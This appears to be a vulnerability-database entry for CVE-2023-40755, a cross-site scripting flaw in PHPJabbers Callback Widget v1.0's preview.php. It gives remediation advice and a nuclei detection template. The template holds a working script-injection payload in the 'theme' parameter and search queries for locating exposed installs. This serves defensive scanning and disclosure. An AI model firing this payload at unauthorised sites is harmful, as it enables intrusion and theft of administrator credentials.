HexBrain

Browse / CVEs / CVE-2023-40755

CVE-2023-40755· phpjabbers / callback widget· CWE-79

PHPJabbers Callback Widget v1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it

There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.

Impact

Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.

Fix

Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "PHPJabbers"
Send: GET {{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so
Positive when: contains "theme=theme10dnel8\"><script>alert(document.domain)</script>…" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40755 -u <target>

The full check
id: CVE-2023-40755

info:
  name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.
  remediation: |
    Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40755
    cwe-id: CWE-79
    epss-score: 0.01254
    epss-percentile: 0.69708
    cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: callback_widget
  tags: cve,cve2023,phpjabbers,callback-widget,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'PHPJabbers'
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from